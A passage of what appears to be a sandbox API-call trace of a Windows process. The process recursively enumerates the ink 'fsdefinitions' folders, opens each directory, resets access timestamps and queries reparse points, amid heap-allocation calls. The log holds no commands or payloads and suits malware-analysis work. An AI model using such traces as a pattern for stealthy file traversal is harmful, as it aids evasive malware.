ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0046.908] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0046.908] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0046.908] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0046.908] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0046.908] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0046.908] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0046.908] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0046.908] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0046.908] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0046.908] GetLastError () returned 0x12 [0046.908] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6748) returned 1 [0046.908] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0046.909] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6850) returned 1 [0046.909] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0046.909] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0046.909] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0046.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0046.909] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0046.909] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0046.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee94a0 [0046.909] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee94a0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xee94a0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0046.910] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee94a0) returned 1 [0046.910] NtClose (Handle=0x17c) returned 0x0 [0046.910] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0046.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0046.910] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6850 [0046.910] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cf8 [0046.910] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.910] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0046.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.910] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.910] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6748 [0046.910] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5298 [0046.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee7bf0 [0046.910] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.910] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0046.910] GetLastError () returned 0x12 [0046.910] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0046.911] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0046.911] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.911] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0046.911] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0046.911] GetLastError () returned 0x12 [0046.911] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6850) returned 1 [0046.911] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.911] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6748) returned 1 [0046.911] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0046.911] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0046.911] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0046.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0046.911] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0046.951] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0046.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee94a0 [0046.951] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee94a0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xee94a0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0046.951] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee94a0) returned 1 [0046.951] NtClose (Handle=0x174) returned 0x0 [0046.952] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0046.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0046.952] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6748 [0046.952] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0046.952] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.952] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0046.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.952] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.952] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6850 [0046.952] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee52b8 [0046.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee7cf8 [0046.952] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.952] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0046.952] GetLastError () returned 0x12 [0046.952] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cf8 [0046.953] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.953] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.953] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0046.953] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0046.953] GetLastError () returned 0x12 [0046.953] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6748) returned 1 [0046.953] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0046.953] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6850) returned 1 [0046.953] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0046.953] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0046.953] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="")) returned 1 [0046.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0046.953] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0046.953] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0046.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee94a0 [0046.954] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee94a0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xee94a0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0046.954] RtlFreeHeap (HeapHandle=0x300000, 